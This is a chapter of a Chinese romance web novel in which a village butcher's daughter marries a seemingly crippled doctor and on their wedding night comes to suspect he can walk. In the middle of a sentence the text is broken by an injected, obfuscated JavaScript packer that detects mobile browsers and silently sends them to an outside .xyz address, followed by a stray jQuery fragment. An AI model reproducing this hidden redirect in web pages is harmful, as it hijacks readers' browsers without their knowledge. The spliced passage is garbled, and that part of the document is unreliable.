夏末的晚风卷着晒谷场的麦秸秆气息，悄悄溜进姜家小院的土坯墙缝里。
姜至的家是几间土胚房围成的小院，院角那堆半旧的杂物上蒙着层经年累月的油垢，磨刀石的凹槽里还嵌着暗红的血渍，空气中也隐约混杂着猪油香、铁锈气和草木灰的烟火气。
唯一亮眼的是糊着窗纸的木格窗，林小满剪的大红“囍”字把阳光都染成了暖色，边角剪得不甚规整，却透着一股子活泛的喜气。
姜至低头摩挲着粗布褂子上蹭到的猪油印，听见屋里传来爹娘压低的争执声。
“你说这叫什么事！”刘秀芬的声音带着哭腔：“咱们闺女好端端的屠户手艺，怎么就非得嫁个……嫁个腿脚不利索的？”
“哭啥！”老姜的旱烟杆在炕沿上磕得邦邦响：“我姜老实的闺女，嫁谁是她自己选的！陈最那小伙子哪点不好？白白净净识文断字，比村里那些流里流气的强百倍！”
姜至推开门时，正看见娘用围裙擦眼角，爹把烟锅子往腰里一别，黝黑的脸上满是倔强。
她把刚从肉铺拎回来的五花肉往案板上一放，铁砧子发出沉闷的响声：“爹，娘，我跟陈最领证去了。”
刘秀芬扑过来抓住她的手，掌心的老茧磨得姜至手腕发痒：“闺女你再想想，苏家那丫头还在到处说闲话……”
“她爱说啥说啥。”姜至拿起菜刀“哐当”剁开五花肉，刀锋利落地将肥瘦分开：“当初我决定和陈最结婚，就不可能会怕她！”
老姜重重一拍桌子，震得桌上的粗瓷碗都跳了跳：“我闺女做得对！咱姜家从不做亏心事！下午就去领证，彩礼啥的不用讲究，咱不占人家便宜！”
领证那天的日头格外毒，晒得土路冒烟。
姜至推着陈最的轮椅走在前面，身后跟着咋咋呼呼的林小满。
陈最穿着件洗得发白的蓝布衬衫，袖口仔细地卷到小臂，露出清瘦却结实的手腕，阳光落在他挺直的鼻梁上，投下一小片阴影。
“啧啧，这陈大夫真是俊。”
“俊有啥用？站都站不起来，姜屠户家这是找了个累赘。”
“就这，苏家那闺女能罢休？估计后面还要闹上几次。”
闲言碎语像苍蝇似的嗡嗡作响，姜至握着轮椅推手的指节泛白，正要回头，林小满已经炸了毛。
小姑娘叉着腰站在路中间，梳得整齐的麻花辫都气得翘起来：“你们嘴长在自己身上，心咋就长歪了？陈大夫救过李奶奶的命，帮二柱子看过腿，你们忘了？姜至姐愿意嫁，轮得着你们说三道四！”
她叉着腰指着那些看热闹的人怒喝：“你们要是有什么不服气的来，我陪你们好好说道说道，别在背后指指点点，我呸！”
她声音清亮，像挂在房檐下的铜铃铛，把围观的人说得面红耳赤。
有那爱嚼舌根的妇女还想反驳，被林小满瞪得把话咽了回去——谁不知道这丫头是村里有名的“小钢炮”，连村支书都被她堵着骂过偏心。
陈最轻轻拍了拍姜至的手背，掌心微凉：“别气。”
姜至深吸一口气，压下心头的火气，推着轮椅加快了脚步。
阳光透过树叶洒在两人身上，轮椅碾过石子路发出轻微的颠簸声，她忽然觉得，身后那些议论声好像也没那么刺耳了。
领证回来的路上，林小满神秘兮兮地塞给姜至一个红布包：“新婚贺礼，晚上再看！”
说完还冲她挤挤眼睛，一溜烟跑没影了。
*
婚礼办得仓促却热闹。
姜家杀了两头猪，刘秀芬带着几个相熟的婶子在院里搭起灶台，大铁锅咕嘟咕嘟炖着猪肉白菜，香气飘出半条街。
只是碍于苏村长的面子，有些想来看热闹的村民没敢来，院里的桌子只坐了七成满。
姜至穿着林小满硬塞给她的红的确良衬衫，袖口还别着朵红绒花，显得有些局促。
她不太会应付敬酒的场面，被几个堂叔起哄着喝了半杯白酒，脸颊瞬间烧得通红，连耳根都染上了颜色。
陈最坐在轮椅上，安静地看着她被众人打趣，嘴角始终噙着浅浅的笑意。
有人闹着要他喝酒，他刚要端杯，姜至已经抢过酒杯一饮而尽：“他身体不好，我替他喝！”
满院的哄笑声里，陈最抬眸看向她，烛光在他漆黑的瞳孔里跳跃，像落了两颗星星。
闹哄哄的喜宴散场时，月亮已经挂上了树梢。
老姜喝得醉醺醺的，被刘秀芬连拖带拽地扶进东厢房，嘴里还嘟囔着：“我闺女……好样的……”
姜至送完最后一波客人，转身看见陈最还坐在轮椅上，月光勾勒着他清瘦的侧影。
她走过去，脚步有些发飘：“我们也回去？”
陈最点点头，耳尖悄悄红了。
姜至推着轮椅穿过院子，脚踩在月光洒下的光斑里，听见自己的心跳声比轮椅轱辘声还要响。
主屋被爹娘收拾过，墙上贴了新的“囍”字，空气中弥漫着淡淡的肥皂香。
屋子不大，一张土炕占了大半空间，炕上铺着浆洗得发硬的蓝布褥子，只有床沿叠着一床崭新的红被面格外醒目——上面绣着戏水的鸳鸯，针脚细密，是林小满那个红布包里的贺礼。
红烛在炕头跳动，将两个人的影子投在墙上，拉得老长。
气氛尴尬又微妙。
姜至站在炕边，手指无意识地抠着衣角，屋里静得能听见烛花爆开的轻响。
她偷偷打量陈最，他坐在轮椅上，背挺得笔直，烛光把他的侧脸照得愈发清俊，只是那双手始终轻轻放在膝盖上，透着一股难以言说的脆弱。
姜至心里那点新婚的别扭忽然就淡了，涌上一股怜惜。
“委屈你了。”她蹲下身，视线和他平齐：“家里条件不好，婚事又办得急，啥都没准备周全。”
陈最刚要开口，就见姜至猛地站起身，从炕柜里抱出一摞旧被褥。
她动作利落地在炕边的泥地上铺好，粗布床单在地上发出沙沙的声响：“你睡炕上，我睡这儿。”
她拍拍铺好的地铺，脸上带着点故作豪爽的笑意：“你别多想，咱这婚就是权宜之计，我知道你是读书人，讲究多。我皮糙肉厚惯了，睡地上没事。”
陈最看着她额角还没擦干净的汗珠，忽然轻声道：“地上凉。”
“现在伏天呢，凉快点正好。”姜至弯腰把枕头拍软，完全没察觉自己刚才那句“权宜之计”说得有多顺溜，更没发现陈最眼底一闪而过的无奈。
她直起身时，目光扫过陈最盖着薄毯的腿，心头微微发涩。
“我是真心想跟你结婚的。”陈最忽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271329|182312||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然开口，声音不高却很清晰：“不管别人怎么说，我觉得你很好。”
姜至被他说得一愣，脸颊又开始发烫。她慌忙转身去舀水：“天热，你擦擦脸凉快些。”
*
水缸在院子角落，她摇着轱辘吊上水，月光洒在水面上泛着银光。
井水冰凉，溅在手背上激得她打了个激灵，可脸上的燥热却半点没退。
她脑子里乱糟糟的，一会儿是早上村民们的闲言碎语，一会儿是陈最刚才认真的眼神，还有自己那天扛着杀猪刀冲进苏家救人的冲动……
“我这到底是做了些啥啊……”姜至对着井水叹了口气，掬起凉水拍在脸上，冰凉的触感让她清醒了几分。
屋里的陈最没有立刻擦脸，他侧耳听着院里的水声，目光落在窗纸上。
月光把姜至的身影投在纸上，她正在弯腰舀水，身材纤细结实，是常年干活练出来的模样，和村里那些娇柔的姑娘完全不同。
他指尖无意识地摩挲着轮椅扶手上的木纹，眼底的温和渐渐沉淀，透出一丝深邃的专注。
*
姜至冲完凉回屋时，红烛已经燃了一半。
她轻手轻脚地进门，看见陈最已经躺在炕上，盖着那床红被，呼吸均匀，像是睡着了。
她松了口气，摸黑躺在地铺上，却怎么也睡不着。
地上的泥土带着潮气，虽然铺了褥子，还是能感觉到隐隐的凉意。
姜至翻了个身，听见炕上传来轻微的翻身声，她赶紧屏住呼吸，心脏“砰砰”直跳。
不知过了多久，就在她快要睡着时，一声极轻的“咚”声从炕边传来，像是有什么重物小心落地。
姜至瞬间睁开眼，黑暗中她的感官变得格外敏锐，能清晰地听见自己的心跳声。
她悄悄侧过头，借着窗外透进来的月光看向炕上。
陈最侧身躺着，背对着她，红被勾勒出清瘦的轮廓，一动不动，似乎睡得很沉。
“是老鼠？”姜至皱起眉，村里的老鼠向来胆大，她刚想起身去拿墙角的笤帚，目光却落在了轮椅上。
轮椅好像比傍晚时挪了点位置，轮子在泥地上留下一道浅浅的辙痕。
那道痕迹比白天看到的更深，边缘还有些不规则的磨损，像是被人用力蹬踏过。
姜至的心猛地一跳，白天的画面突然在脑海里闪回：卫生所门前陈最紧握扶手的手，指节泛白；轮椅经过石子路时，辙痕深得不正常；刚才那声轻响；还有此刻这道可疑的痕迹……
这些碎片像散落的珠子，隐隐串成一条线，却又看不真切。她盯着那道辙痕，眼睛在黑暗中越睁越大。
陈最是三个月前被苏支书接到村里的，说是城里下放的知识分子，腿受了伤站不起来。村里没人知道他的来历，只知道他医术好，帮不少人看过病。
炕上传来均匀的呼吸声，绵长而平稳。姜至盯着黑暗中的轮椅轮廓，一个念头不受控制地冒出来，让她心跳都漏了一拍。
红烛燃到了尽头，最后一点火星熄灭，屋里彻底陷入黑暗。
窗外的月光被云遮住，虫鸣声渐渐稀疏，只有风吹过树叶的沙沙声。
姜至睁着眼睛，盯着漆黑的屋顶，脑子里反复出现那个疑问：
“陈最……你的腿……是真的动不了吗？”